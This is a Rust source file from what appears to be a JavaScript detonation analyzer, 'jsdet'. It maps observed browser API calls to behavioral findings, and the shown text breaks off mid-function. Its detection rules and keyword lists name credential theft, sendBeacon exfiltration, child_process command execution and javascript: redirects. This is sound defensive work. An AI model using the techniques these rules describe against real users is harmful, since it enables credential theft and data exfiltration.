1use crate::observation::{CookieOp, Observation, Value};
11
12#[derive(Default)]
15struct AnalysisState {
16 findings: Vec<BehavioralFinding>,
17 timeline: Vec<TimelineEntry>,
18 has_cookie_read: bool,
19 has_external_fetch: bool,
20 has_storage_write: bool,
21 has_credential_surface: bool,
22 has_fingerprint_access: bool,
23 dynamic_code_indices: Vec<usize>,
24 external_urls: Vec<String>,
25 cookie_read_idx: Option<usize>,
26 fetch_indices: Vec<usize>,
27 storage_write_indices: Vec<usize>,
28 credential_surface_indices: Vec<usize>,
29 credential_api_indices: Vec<usize>,
30 external_credential_action_indices: Vec<usize>,
31 fingerprint_indices: Vec<usize>,
32 fingerprint_apis: Vec<String>,
33 popup_indices: Vec<usize>,
34 postmessage_indices: Vec<usize>,
35 wildcard_postmessage_indices: Vec<usize>,
36 broadcast_channel_indices: Vec<usize>,
37 message_channel_indices: Vec<usize>,
38 message_port_indices: Vec<usize>,
39 storage_event_register_indices: Vec<usize>,
40 storage_event_fire_indices: Vec<usize>,
41 window_name_indices: Vec<usize>,
42 shared_worker_message_indices: Vec<usize>,
43 service_worker_indices: Vec<usize>,
44 worker_indices: Vec<usize>,
45 websocket_indices: Vec<usize>,
46 webrtc_indices: Vec<usize>,
47 webrtc_data_send_indices: Vec<usize>,
48 wasm_indices: Vec<usize>,
49 has_wallet_connect: bool,
50 has_sign_transaction: bool,
51 has_sign_message: bool,
52 has_chain_switch: bool,
53 wallet_connect_idx: Option<usize>,
54 sign_indices: Vec<usize>,
55 has_clipboard_write: bool,
56 has_clipboard_read: bool,
57 clipboard_write_content: Option<String>,
58 timer_indices: Vec<usize>,
59 long_delay_timer_indices: Vec<usize>,
60 notification_permission_indices: Vec<usize>,
61 notification_create_indices: Vec<usize>,
62 payment_request_indices: Vec<usize>,
63 geolocation_indices: Vec<usize>,
64 crypto_operation_indices: Vec<usize>,
65 crypto_decrypt_indices: Vec<usize>,
66 crypto_import_key_indices: Vec<usize>,
67 indexed_db_indices: Vec<usize>,
68 trusted_types_indices: Vec<usize>,
69 scheduler_indices: Vec<usize>,
70 blob_url_indices: Vec<usize>,
71 html_blob_url_indices: Vec<usize>,
72 blob_navigation_indices: Vec<usize>,
73 mutation_observer_indices: Vec<usize>,
74 intersection_observer_indices: Vec<usize>,
75 resize_observer_indices: Vec<usize>,
76 input_monitor_indices: Vec<usize>,
77 input_monitor_events: Vec<String>,
78 dialog_indices: Vec<usize>,
79 urgent_dialog_indices: Vec<usize>,
80 beforeunload_register_indices: Vec<usize>,
81 beforeunload_trigger_indices: Vec<usize>,
82 fullscreen_indices: Vec<usize>,
83 pointer_lock_indices: Vec<usize>,
84 vibration_indices: Vec<usize>,
85 speech_indices: Vec<usize>,
86 pagehide_register_indices: Vec<usize>,
87 visibilitychange_register_indices: Vec<usize>,
88 beacon_indices: Vec<usize>,
89 history_state_indices: Vec<usize>,
90}
91
92#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
94pub struct BehavioralFinding {
95 pub severity: Severity,
96 pub category: Category,
97 pub title: String,
98 pub detail: String,
99 pub evidence: Vec<usize>,
101}
102
103pub use ::secfinding::Severity;
113
114pub trait SeverityVisuals {
122 fn icon(self) -> &'static str;
125 fn color_code(self) -> &'static str;
127}
128
129impl SeverityVisuals for Severity {
130 fn icon(self) -> &'static str {
131 match self {
132 Severity::Critical => "!!!",
133 Severity::High => "!!",
134 Severity::Medium => "!",
135 Severity::Low => "~",
136 Severity::Info => "i",
137 _ => "i",
140 }
141 }
142
143 fn color_code(self) -> &'static str {
144 match self {
145 Severity::Critical => "\x1b[91m",
146 Severity::High => "\x1b[31m",
147 Severity::Medium => "\x1b[33m",
148 Severity::Low => "\x1b[36m",
149 Severity::Info => "\x1b[90m",
150 _ => "\x1b[90m",
151 }
152 }
153}
154
155#[derive(Debug, Clone, Copy, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
156pub enum Category {
157 CredentialTheft,
158 DataExfiltration,
159 CodeInjection,
160 Persistence,
161 Fingerprinting,
162 Evasion,
163 NetworkActivity,
164 PermissionAbuse,
165 CookieAccess,
166 DomManipulation,
167 CryptoTheft,
168 ClipboardHijack,
169 PrivacyViolation,
170}
171
172impl Category {
173 #[must_use]
174 pub fn label(self) -> &'static str {
175 match self {
176 Self::CredentialTheft => "CREDENTIAL THEFT",
177 Self::DataExfiltration => "DATA EXFILTRATION",
178 Self::CodeInjection => "CODE INJECTION",
179 Self::Persistence => "PERSISTENCE",
180 Self::Fingerprinting => "FINGERPRINTING",
181 Self::Evasion => "EVASION",
182 Self::NetworkActivity => "NETWORK",
183 Self::PermissionAbuse => "PERMISSION ABUSE",
184 Self::CookieAccess => "COOKIE ACCESS",
185 Self::DomManipulation => "DOM MUTATION",
186 Self::CryptoTheft => "CRYPTO THEFT",
187 Self::ClipboardHijack => "CLIPBOARD HIJACK",
188 Self::PrivacyViolation => "PRIVACY VIOLATION",
189 }
190 }
191
192 #[must_use]
193 pub fn color_code(self) -> &'static str {
194 match self {
195 Self::CredentialTheft
196 | Self::DataExfiltration
197 | Self::CodeInjection
198 | Self::CryptoTheft => "\x1b[31m",
199 Self::PermissionAbuse | Self::NetworkActivity | Self::ClipboardHijack => "\x1b[33m",
200 Self::Persistence
201 | Self::CookieAccess
202 | Self::Evasion
203 | Self::Fingerprinting
204 | Self::PrivacyViolation => "\x1b[36m",
205 Self::DomManipulation => "\x1b[90m",
206 }
207 }
208}
209
210#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
212pub struct TimelineEntry {
213 pub index: usize,
214 pub action: String,
215 pub category: Category,
216}
217
218#[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Eq)]
220pub struct AnalysisReport {
221 pub findings: Vec<BehavioralFinding>,
222 pub timeline: Vec<TimelineEntry>,
223 pub risk_score: u8,
224 pub observation_count: usize,
225}
226
227impl AnalysisReport {
228 #[must_use]
230 pub fn format_text(&self, target: &str, duration_us: u64) -> String {
231 let reset = "\x1b[0m";
232 let bold = "\x1b[1m";
233 let dim = "\x1b[2m";
234
235 let mut out = String::new();
236 out.push_str(&format!(
237 "\n{bold}jsdet v0.1.0 - JavaScript Detonation Report{reset}\n"
238 ));
239 out.push_str(&"━".repeat(55));
240 out.push('\n');
241 out.push_str(&format!("Target: {target}\n"));
242 out.push_str(&format!(
243 "Duration: {:.1}ms | Observations: {}\n",
244 duration_us as f64 / 1000.0,
245 self.observation_count
246 ));
247
248 let risk_color = if self.risk_score >= 80 {
249 "\x1b[91m"
250 } else if self.risk_score >= 50 {
251 "\x1b[33m"
252 } else if self.risk_score >= 20 {
253 "\x1b[36m"
254 } else {
255 "\x1b[32m"
256 };
257 out.push_str(&format!(
258 "Risk: {risk_color}{bold}{}/100{reset}\n",
259 self.risk_score
260 ));
261 out.push('\n');
262
263 if self.findings.is_empty() {
264 out.push_str(&format!("{dim}No behavioral findings.{reset}\n"));
265 } else {
266 out.push_str(&format!("{bold}Behavioral Summary:{reset}\n"));
267 for finding in &self.findings {
268 let color = finding.severity.color_code();
269 let icon = finding.severity.icon();
270 out.push_str(&format!(
271 " {color}[{icon}] {}{reset} - {}\n",
272 finding.category.label(),
273 finding.title,
274 ));
275 out.push_str(&format!(" {dim}{}{reset}\n", finding.detail));
276 }
277 out.push('\n');
278 }
279
280 if !self.timeline.is_empty() {
281 out.push_str(&format!("{bold}Timeline:{reset}\n"));
282 for (i, entry) in self.timeline.iter().take(20).enumerate() {
283 let color = entry.category.color_code();
284 out.push_str(&format!(
285 " {dim}{:>3}.{reset} {color}{}{reset}\n",
286 i + 1,
287 entry.action
288 ));
289 }
290 if self.timeline.len() > 20 {
291 out.push_str(&format!(
292 " {dim}... and {} more{reset}\n",
293 self.timeline.len() - 20
294 ));
295 }
296 }
297
298 out
299 }
300}
301
302#[must_use]
304pub fn analyze(observations: &[Observation]) -> AnalysisReport {
305 let mut s = AnalysisState::default();
306
307 for (i, obs) in observations.iter().enumerate() {
308 match obs {
309 Observation::ApiCall { api, args, .. } => {
310 let args_str = args
311 .iter()
312 .map(|a| a.to_string())
313 .collect::<Vec<_>>()
314 .join(", ");
315 s.timeline.push(TimelineEntry {
316 index: i,
317 action: format!("{api}({args_str})"),
318 category: categorize_api(api),
319 });
320
321 if api.contains("cookie") && api.contains("get") {
322 s.has_cookie_read = true;
323 s.cookie_read_idx = Some(i);
324 }
325
326 if api == "eval" || api == "Function" {
327 s.dynamic_code_indices.push(i);
328 s.findings.push(BehavioralFinding {
329 severity: Severity::High,
330 category: Category::CodeInjection,
331 title: format!("Dynamic code execution via {api}"),
332 detail: format!(
333 "Script invokes {api} through the browser bridge, indicating runtime code generation or staged loader execution"
334 ),
335 evidence: vec![i],
336 });
337 }
338
339 if api == "fingerprint.read" {
340 let fingerprint_api =
341 extract_first_string_arg(args).unwrap_or_else(|| "fingerprint".into());
342 let detail = extract_second_string_arg(args).unwrap_or_default();
343 s.has_fingerprint_access = true;
344 s.fingerprint_indices.push(i);
345 s.fingerprint_apis.push(fingerprint_api.clone());
346 s.findings.push(BehavioralFinding {
347 severity: Severity::Medium,
348 category: Category::Fingerprinting,
349 title: format!("Browser fingerprint read: {fingerprint_api}"),
350 detail: if detail.is_empty() {
351 "Script inspects browser identity or environment data".into()
352 } else {
353 format!(
354 "Script inspects browser identity or environment data via {fingerprint_api}: {detail}"
355 )
356 },
357 evidence: vec![i],
358 });
359 }
360
361 if api == "timer.setTimeout" || api == "timer.setInterval" {
362 let delay_ms = extract_delay_arg(args).unwrap_or_default();
363 let is_interval = api == "timer.setInterval";
364 s.timer_indices.push(i);
365 if delay_ms >= 3_000 {
366 s.long_delay_timer_indices.push(i);
367 s.findings.push(BehavioralFinding {
368 severity: Severity::Medium,
369 category: Category::Evasion,
370 title: if is_interval {
371 format!("Long-lived interval timer: {delay_ms}ms")
372 } else {
373 format!("Delayed execution timer: {delay_ms}ms")
374 },
375 detail: if is_interval {
376 "Script schedules repeated delayed execution, a common way to stagger abuse or survive initial analysis windows".into()
377 } else {
378 "Script defers execution for several seconds, a common staging and anti-analysis tactic".into()
379 },
380 evidence: vec![i],
381 });
382 }
383 }
384
385 if api == "element.addEventListener" {
386 let event_type =
387 extract_second_string_arg(args).unwrap_or_else(|| "unknown".into());
388 if matches!(
389 event_type.as_str(),
390 "input" | "keydown" | "keyup" | "keypress" | "change" | "paste"
391 ) {
392 s.input_monitor_indices.push(i);
393 s.input_monitor_events.push(event_type.clone());
394 s.findings.push(BehavioralFinding {
395 severity: Severity::Medium,
396 category: Category::CredentialTheft,
397 title: format!("Credential input monitor attached: {event_type}"),
398 detail: "Script attaches live input or keyboard listeners that can observe user-entered credentials as they are typed".into(),
399 evidence: vec![i],
400 });
401 }
402 }
403
404 if api == "window.alert" || api == "window.confirm" || api == "window.prompt" {
405 let kind = api.split('.').next_back().unwrap_or("dialog");
406 let message = extract_first_string_arg(args).unwrap_or_default();
407 s.dialog_indices.push(i);
408 if is_urgent_dialog_message(&message) {
409 s.urgent_dialog_indices.push(i);
410 s.findings.push(BehavioralFinding {
411 severity: Severity::Medium,
412 category: Category::Evasion,
413 title: format!("Urgent blocking {kind} dialog"),
414 detail: "Script displays an urgent blocking dialog, a common social-engineering and lock-in tactic".into(),
415 evidence: vec![i],
416 });
417 }
418 }
419
420 if api == "window.beforeunload.register" {
421 s.beforeunload_register_indices.push(i);
422 s.findings.push(BehavioralFinding {
423 severity: Severity::Medium,
424 category: Category::Evasion,
425 title: "Navigation trap registered".into(),
426 detail:
427 "Script hooks beforeunload to discourage navigation away from the page"
428 .into(),
429 evidence: vec![i],
430 });
431 }
432
433 if api == "window.beforeunload.trigger" {
434 s.beforeunload_trigger_indices.push(i);
435 }
436
437 if api == "element.requestFullscreen" {
438 s.fullscreen_indices.push(i);
439 s.findings.push(BehavioralFinding {
440 severity: Severity::Medium,
441 category: Category::Evasion,
442 title: "Fullscreen UI lock-in surface".into(),
443 detail: "Script requests fullscreen mode, a common coercion tactic used to trap or dominate the user's view".into(),
444 evidence: vec![i],
445 });
446 }
447
448 if api == "element.requestPointerLock" {
449 s.pointer_lock_indices.push(i);
450 s.findings.push(BehavioralFinding {
451 severity: Severity::Medium,
452 category: Category::Evasion,
453 title: "Pointer-lock UI trap surface".into(),
454 detail: "Script requests pointer lock, a coercive UI tactic used to impede normal navigation or escape".into(),
455 evidence: vec![i],
456 });
457 }
458
459 if api == "navigator.vibrate" {
460 s.vibration_indices.push(i);
461 }
462
463 if api == "speechSynthesis.speak" {
464 s.speech_indices.push(i);
465 }
466
467 if api == "window.pagehide.register" {
468 s.pagehide_register_indices.push(i);
469 }
470
471 if api == "document.visibilitychange.register" {
472 s.visibilitychange_register_indices.push(i);
473 }
474
475 if is_child_process_require(api, args) {
476 s.findings.push(BehavioralFinding {
477 severity: Severity::High,
478 category: Category::CodeInjection,
479 title: "Node child_process module loaded".into(),
480 detail:
481 "Script imports child_process, enabling command execution primitives"
482 .into(),
483 evidence: vec![i],
484 });
485 }
486
487 if is_command_execution_api(api) {
488 let command = extract_first_string_arg(args)
489 .unwrap_or_else(|| args_str.chars().take(200).collect::<String>());
490 let title = if api == "child_process.spawn" {
491 "Process spawning via child_process.spawn"
492 } else {
493 "Command execution via child_process"
494 };
495 let detail = if command.is_empty() {
496 format!("Script invokes {api}, a direct host command execution sink")
497 } else {
498 format!(
499 "Script invokes {api} with command payload: {}",
500 command.chars().take(200).collect::<String>()
501 )
502 };
503 s.findings.push(BehavioralFinding {
504 severity: Severity::Critical,
505 category: Category::CodeInjection,
506 title: title.into(),
507 detail,
508 evidence: vec![i],
509 });
510 }
511
512 if api.contains("location.href.set")
513 || api.contains("location.assign")
514 || api.contains("location.replace")
515 {
516 if let Some(url) = extract_first_string_arg(args)
517 && (url.starts_with("javascript:") || url.starts_with("data:"))
518 {
519 s.findings.push(BehavioralFinding {
520 severity: Severity::Critical,
521 category: Category::CodeInjection,
522 title: format!(
523 "Dangerous protocol redirect: {}...",
524 url.chars().take(40).collect::<String>()
525 ),
526 detail: format!(
527 "Script redirects via {}",
528 if url.starts_with("javascript:") {
529 "javascript: URI - code execution"
530 } else {
531 "data: URI - embedded payload"
532 }
533 ),
534 evidence: vec![i],
535 });
536 }
537 if let Some(url) = extract_first_string_arg(args)
538 && url.starts_with("blob:")
539 {
540 s.blob_navigation_indices.push(i);
541 s.findings.push(BehavioralFinding {
542 severity: Severity::High,
543 category: Category::DomManipulation,
544 title: format!(
545 "Blob-backed navigation: {}",
546 url.chars().take(60).collect::<String>()
547 ),
548 detail: "Script navigates to an in-memory blob URL, a common staging primitive for hidden HTML or SVG payloads".into(),
549 evidence: vec![i],
550 });
551 }
552 if let Some(url) = extract_url_from_args(args)
553 && is_external_url(&url)
554 {
555 s.has_external_fetch = true;
556 s.external_urls.push(url.clone());
557 s.fetch_indices.push(i);
558 s.findings.push(BehavioralFinding {
559 severity: Severity::High,
560 category: Category::NetworkActivity,
561 title: format!(
562 "Redirect to external URL: {}",
563 url.chars().take(60).collect::<String>()
564 ),
565 detail: format!("Script redirects the page to {url}"),
566 evidence: vec![i],
567 });
568 }
569 }
570
571 if api == "window.open"
572 && let Some(url) = extract_url_from_args(args)
573 && is_external_url(&url)
574 {
575 s.has_external_fetch = true;
576 s.external_urls.push(url.clone());
577 s.fetch_indices.push(i);
578 s.findings.push(BehavioralFinding {
579 severity: Severity::High,
580 category: Category::NetworkActivity,
581 title: format!(
582 "Popup pivot to external URL: {}",
583 url.chars().take(60).collect::<String>()
584 ),
585 detail: format!(
586 "Script opens a new browsing context to {url}, a common hosted-login pivot"
587 ),
588 evidence: vec![i],
589 });
590 s.popup_indices.push(i);
591 }
592 if api == "window.open"
593 && let Some(url) = extract_first_string_arg(args)
594 && url.starts_with("blob:")
595 {
596 s.popup_indices.push(i);
597 s.blob_navigation_indices.push(i);
598 s.findings.push(BehavioralFinding {
599 severity: Severity::High,
600 category: Category::DomManipulation,
601 title: format!(
602 "Popup pivot to blob URL: {}",
603 url.chars().take(60).collect::<String>()
604 ),
605 detail: "Script opens a popup to an in-memory blob URL, a strong staged-lure or hidden payload pattern".into(),
606 evidence: vec![i],
607 });
608 }
609
610 if api == "window.name.set" {
611 s.window_name_indices.push(i);
612 let destination =
613 extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
614 s.findings.push(BehavioralFinding {
615 severity: Severity::High,
616 category: Category::Persistence,
617 title: "Cross-navigation relay state via window.name".into(),
618 detail: format!(
619 "Script stores data in window.name for reuse after navigation or popup pivots: {destination}"
620 ),
621 evidence: vec![i],
622 });
623 }
624
625 if api == "navigator.sendBeacon"
626 && let Some(url) = extract_url_from_args(args)
627 && is_external_url(&url)
628 {
629 s.has_external_fetch = true;
630 s.external_urls.push(url.clone());
631 s.fetch_indices.push(i);
632 s.beacon_indices.push(i);
633 s.findings.push(BehavioralFinding {
634 severity: Severity::High,
635 category: Category::DataExfiltration,
636 title: format!(
637 "sendBeacon exfiltration to: {}",
638 url.chars().take(60).collect::<String>()
639 ),
640 detail:
641 "navigator.sendBeacon fires even during page unload - stealthy data exfiltration"
642 .into(),
643 evidence: vec![i],
644 });
645 }
646
647 if (api == "fetch" || api.contains("xhr"))
648 && let Some(url) = extract_url_from_args(args)
649 && is_external_url(&url)
650 {
651 s.has_external_fetch = true;
652 s.external_urls.push(url);
653 s.fetch_indices.push(i);
654 }
655
656 if api.contains("setInnerHTML") || api.contains("document.write") {
657 let raw_html = extract_first_string_arg(args)
658 .or_else(|| args.iter().find_map(Value::as_str).map(ToString::to_string))
659 .unwrap_or_default();
660 let content = raw_html.to_ascii_lowercase();
661 if content.contains("password") || content.contains("type=\"password") {
662 s.has_credential_surface = true;
663 s.credential_surface_indices.push(i);
664 s.findings.push(BehavioralFinding {
665 severity: Severity::Critical,
666 category: Category::CredentialTheft,
667 title: "Credential form injected via innerHTML/document.write".into(),
668 detail: "Script injects HTML containing a password field".into(),
669 evidence: vec![i],
670 });
671 }
672 if content.contains("<form")
673 && content.contains("action=")
674 && let Some(start) = content.find("action=")
675 {
676 let rest = &content[start + 7..];
677 let rest = rest.trim_start_matches('"').trim_start_matches('\'');
678 let end = rest.find(['"', '\'', ' ', '>']).unwrap_or(rest.len());
679 let action_url = &rest[..end];
680 if action_url.starts_with("http") {
681 s.has_external_fetch = true;
682 s.external_urls.push(action_url.to_string());
683 s.fetch_indices.push(i);
684 s.external_credential_action_indices.push(i);
685 }
686 }
687 }
688
689 if api.contains("setAttribute") {
690 let content = args_str.to_ascii_lowercase();
691 if content.contains("action")
692 && let Some(url) = extract_url_from_args(args)
693 && is_external_url(&url)
694 {
695 s.findings.push(BehavioralFinding {
696 severity: Severity::Critical,
697 category: Category::CredentialTheft,
698 title: format!(
699 "Form submits to external URL: {}",
700 url.chars().take(60).collect::<String>()
701 ),
702 detail: format!("Credential form sends data to {url}"),
703 evidence: vec![i],
704 });
705 s.has_external_fetch = true;
706 s.external_urls.push(url);
707 s.fetch_indices.push(i);
708 }
709 }
710
711 if api == "taint_sink_reached" {
712 let sink_name = extract_url_from_args(args).unwrap_or_else(|| "unknown".into());
713 s.findings.push(BehavioralFinding {
714 severity: Severity::Critical,
715 category: Category::CodeInjection,
716 title: format!("CONFIRMED: Tainted data reached {sink_name}"),
717 detail: format!("User-controlled input flowed through string operations to {sink_name}() - this is a confirmed code injection vulnerability, not a heuristic guess."),
718 evidence: vec![i],
719 });
720 }
721
722 if api == "credential_form_detected" {
723 let action_url = extract_url_from_args(args).unwrap_or_default();
724 let has_password = args_str.contains("true");
725 let is_external_action = action_url.starts_with("http://")
726 || action_url.starts_with("https://")
727 || action_url.starts_with("//");
728 if has_password && is_external_action {
729 s.has_credential_surface = true;
730 s.credential_surface_indices.push(i);
731 s.external_credential_action_indices.push(i);
732 s.findings.push(BehavioralFinding {
733 severity: Severity::Critical,
734 category: Category::CredentialTheft,
735 title: format!(
736 "Credential form submits to: {}",
737 action_url.chars().take(60).collect::<String>()
738 ),
739 detail: format!(
740 "Form with password field submits to external URL: {action_url}"
741 ),
742 evidence: vec![i],
743 });
744 s.has_external_fetch = true;
745 s.external_urls.push(action_url);
746 s.fetch_indices.push(i);
747 }
748 }
749
750 if api == "PasswordCredential" || api == "credentials.create" {
751 s.has_credential_surface = true;
752 s.credential_surface_indices.push(i);
753 s.credential_api_indices.push(i);
754 s.findings.push(BehavioralFinding {
755 severity: Severity::High,
756 category: Category::CredentialTheft,
757 title: "Credential Management API surface created".into(),
758 detail: "Script initializes PasswordCredential or navigator.credentials.create, indicating explicit browser-managed credential capture".into(),
759 evidence: vec![i],
760 });
761 }
762
763 if matches!(
764 api.as_str(),
765 "showOpenFilePicker"
766 | "showSaveFilePicker"
767 | "showDirectoryPicker"
768 | "navigator.contacts.select"
769 | "navigator.share"
770 ) {
771 s.has_fingerprint_access = true;
772 s.fingerprint_apis.push(api.clone());
773 s.fingerprint_indices.push(i);
774 s.findings.push(BehavioralFinding {
775 severity: Severity::High,
776 category: Category::CredentialTheft,
777 title: "Local data targeting surface".into(),
778 detail: "Script probes or invokes local file, contact, or share surfaces that can be abused to capture or stage user data beyond a simple page flow".into(),
779 evidence: vec![i],
780 });
781 }
782
783 if matches!(
784 api.as_str(),
785 "navigator.mediaDevices.getUserMedia"
786 | "navigator.mediaDevices.getDisplayMedia"
787 | "navigator.mediaDevices.enumerateDevices"
788 ) {
789 s.has_fingerprint_access = true;
790 s.fingerprint_apis.push(api.clone());
791 s.fingerprint_indices.push(i);
792 s.findings.push(BehavioralFinding {
793 severity: Severity::High,
794 category: Category::CredentialTheft,
795 title: "Capture-device targeting surface".into(),
796 detail: "Script probes microphone, camera, screen-capture, or media-device enumeration surfaces that are commonly used in adaptive credential theft and live-session abuse".into(),
797 evidence: vec![i],
798 });
799 }
800
801 if matches!(
802 api.as_str(),
803 "navigator.registerProtocolHandler"
804 | "navigator.setAppBadge"
805 | "navigator.clearAppBadge"
806 | "launchQueue.setConsumer"
807 ) {
808 s.has_fingerprint_access = true;
809 s.fingerprint_apis.push(api.clone());
810 s.fingerprint_indices.push(i);
811 s.findings.push(BehavioralFinding {
812 severity: Severity::High,
813 category: Category::Persistence,
814 title: "Install/persistence surface".into(),
815 detail: "Script touches protocol-handler, app-badge, or launch-queue surfaces associated with durable install-style persistence rather than a transient page flow".into(),
816 evidence: vec![i],
817 });
818 }
819
820 if matches!(
821 api.as_str(),
822 "caches.open"
823 | "cache.put"
824 | "cache.match"
825 | "cache.add"
826 | "cache.addAll"
827 | "pushManager.subscribe"
828 | "sync.register"
829 | "periodicSync.register"
830 ) {
831 s.has_fingerprint_access = true;
832 s.fingerprint_apis.push(api.clone());
833 s.fingerprint_indices.push(i);
834 s.findings.push(BehavioralFinding {
835 severity: Severity::High,
836 category: Category::Persistence,
837 title: "Offline/push persistence surface".into(),
838 detail: "Script touches cache, push, or background sync surfaces associated with durable offline staging or background re-entry beyond a transient page interaction".into(),
839 evidence: vec![i],
840 });
841 }
842
843 if api == "PublicKeyCredential.create"
844 || api == "PublicKeyCredential.get"
845 || api == "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
846 || api == "PublicKeyCredential.isConditionalMediationAvailable"
847 {
848 s.has_fingerprint_access = true;
849 s.has_credential_surface = true;
850 s.fingerprint_apis.push(api.clone());
851 s.fingerprint_indices.push(i);
852 s.credential_surface_indices.push(i);
853 s.credential_api_indices.push(i);
854 s.findings.push(BehavioralFinding {
855 severity: Severity::High,
856 category: Category::CredentialTheft,
857 title: "WebAuthn/passkey targeting surface".into(),
858 detail: "Script probes or invokes PublicKeyCredential/WebAuthn flows, indicating passkey-aware credential targeting rather than a simple password-only lure".into(),
859 evidence: vec![i],
860 });
861 }
862
863 if api == "credentials.store" {
864 s.storage_write_indices.push(i);
865 s.has_storage_write = true;
866 s.credential_api_indices.push(i);
867 s.findings.push(BehavioralFinding {
868 severity: Severity::High,
869 category: Category::Persistence,
870 title: "Credential Management API storage".into(),
871 detail: "Script calls navigator.credentials.store, persisting browser-managed credential state for later reuse".into(),
872 evidence: vec![i],
873 });
874 }
875
876 if api.contains("postMessage") {
877 let target_origin = extract_postmessage_target_origin(args);
878 let message_preview = extract_postmessage_payload(args).unwrap_or_default();
879 let lower_args = format!(
880 "{} {}",
881 args_str.to_ascii_lowercase(),
882 message_preview.to_ascii_lowercase()
883 );
884 let carries_credentials = ["password", "otp", "email", "token", "code"]
885 .iter()
886 .any(|needle| lower_args.contains(needle));
887 s.postmessage_indices.push(i);
888 if target_origin
889 .as_deref()
890 .is_some_and(is_wildcard_target_origin)
891 {
892 s.wildcard_postmessage_indices.push(i);
893 s.findings.push(BehavioralFinding {
894 severity: if carries_credentials {
895 Severity::Critical
896 } else {
897 Severity::High
898 },
899 category: if carries_credentials {
900 Category::CredentialTheft
901 } else {
902 Category::PermissionAbuse
903 },
904 title: if carries_credentials {
905 "Credential relay via wildcard postMessage".into()
906 } else {
907 "Wildcard postMessage target origin".into()
908 },
909 detail: if carries_credentials {
910 "Script relays credential-like data to a wildcard target origin, allowing any recipient window to receive the payload".into()
911 } else {
912 "Script uses postMessage with '*' or null target origin, weakening origin isolation between contexts".into()
913 },
914 evidence: vec![i],
915 });
916 }
917 if let Some(url) = target_origin.filter(|url| is_external_url(url)) {
918 s.has_external_fetch = true;
919 s.external_urls.push(url.clone());
920 s.fetch_indices.push(i);
921 s.findings.push(BehavioralFinding {
922 severity: if carries_credentials {
923 Severity::Critical
924 } else {
925 Severity::High
926 },
927 category: if carries_credentials {
928 Category::CredentialTheft
929 } else {
930 Category::NetworkActivity
931 },
932 title: if carries_credentials {
933 "Credential relay via postMessage".into()
934 } else {
935 format!(
936 "Cross-context relay via postMessage to {}",
937 url.chars().take(60).collect::<String>()
938 )
939 },
940 detail: if carries_credentials {
941 format!(
942 "Script relays credential-like payloads to external target {url}"
943 )
944 } else {
945 format!(
946 "Script relays data to another browsing context with target {url}"
947 )
948 },
949 evidence: vec![i],
950 });
951 }
952 }
953
954 if api == "broadcastChannel.create" {
955 s.broadcast_channel_indices.push(i);
956 let channel_name =
957 extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
958 s.findings.push(BehavioralFinding {
959 severity: Severity::Medium,
960 category: Category::NetworkActivity,
961 title: format!("BroadcastChannel relay setup: {channel_name}"),
962 detail: "Script creates a BroadcastChannel for cross-context coordination inside the browser".into(),
963 evidence: vec![i],
964 });
965 }
966
967 if api == "broadcastChannel.postMessage" {
968 s.broadcast_channel_indices.push(i);
969 let channel_name =
970 extract_first_string_arg(args).unwrap_or_else(|| "unnamed".into());
971 let message_preview = extract_second_string_arg(args).unwrap_or_default();
972 let lower_args = format!(
973 "{} {}",
974 args_str.to_ascii_lowercase(),
975 message_preview.to_ascii_lowercase()
976 );
977 let carries_credentials = ["password", "otp", "email", "token", "code"]
978 .iter()
979 .any(|needle| lower_args.contains(needle));
980 s.findings.push(BehavioralFinding {
981 severity: if carries_credentials {
982 Severity::Critical
983 } else {
984 Severity::High
985 },
986 category: if carries_credentials {
987 Category::CredentialTheft
988 } else {
989 Category::NetworkActivity
990 },
991 title: if carries_credentials {
992 format!("Credential relay via BroadcastChannel: {channel_name}")
993 } else {
994 format!("BroadcastChannel cross-context relay: {channel_name}")
995 },
996 detail: if carries_credentials {
997 "Script relays credential-like payloads across browser contexts via BroadcastChannel".into()
998 } else {
999 "Script relays data across browser contexts via BroadcastChannel, a covert staging and coordination primitive".into()
1000 },
1001 evidence: vec![i],
1002 });
1003 }
1004
1005 if api == "messageChannel.create" {
1006 s.message_channel_indices.push(i);
1007 s.findings.push(BehavioralFinding {
1008 severity: Severity::Medium,
1009 category: Category::NetworkActivity,
1010 title: "MessageChannel relay setup".into(),
1011 detail:
1012 "Script creates a MessageChannel for direct cross-context coordination"
1013 .into(),
1014 evidence: vec![i],
1015 });
1016 }
1017
1018 if api == "messagePort.postMessage" {
1019 s.message_port_indices.push(i);
1020 let port_name = extract_first_string_arg(args).unwrap_or_else(|| "port".into());
1021 let message_preview = extract_second_string_arg(args).unwrap_or_default();
1022 let lower_args = format!(
1023 "{} {}",
1024 args_str.to_ascii_lowercase(),
1025 message_preview.to_ascii_lowercase()
1026 );
1027 let carries_credentials = ["password", "otp", "email", "token", "code"]
1028 .iter()
1029 .any(|needle| lower_args.contains(needle));
1030 s.findings.push(BehavioralFinding {
1031 severity: if carries_credentials {
1032 Severity::Critical
1033 } else {
1034 Severity::High
1035 },
1036 category: if carries_credentials {
1037 Category::CredentialTheft
1038 } else {
1039 Category::NetworkActivity
1040 },
1041 title: if carries_credentials {
1042 format!("Credential relay via MessagePort: {port_name}")
1043 } else {
1044 format!("MessagePort cross-context relay: {port_name}")
1045 },
1046 detail: if carries_credentials {
1047 "Script relays credential-like payloads across execution contexts through a MessagePort".into()
1048 } else {
1049 "Script uses MessagePort to move data across execution contexts outside ordinary request paths".into()
1050 },
1051 evidence: vec![i],
1052 });
1053 }
1054
1055 if api == "sharedworker.port.postMessage" {
1056 s.shared_worker_message_indices.push(i);
1057 let worker_url =
1058 extract_first_string_arg(args).unwrap_or_else(|| "shared_worker".into());
1059 let message_preview = extract_second_string_arg(args).unwrap_or_default();
1060 let lower_args = format!(
1061 "{} {}",
1062 args_str.to_ascii_lowercase(),
1063 message_preview.to_ascii_lowercase()
1064 );
1065 let carries_credentials = ["password", "otp", "email", "token", "code"]
1066 .iter()
1067 .any(|needle| lower_args.contains(needle));
1068 s.findings.push(BehavioralFinding {
1069 severity: if carries_credentials {
1070 Severity::Critical
1071 } else {
1072 Severity::High
1073 },
1074 category: if carries_credentials {
1075 Category::CredentialTheft
1076 } else {
1077 Category::Persistence
1078 },
1079 title: if carries_credentials {
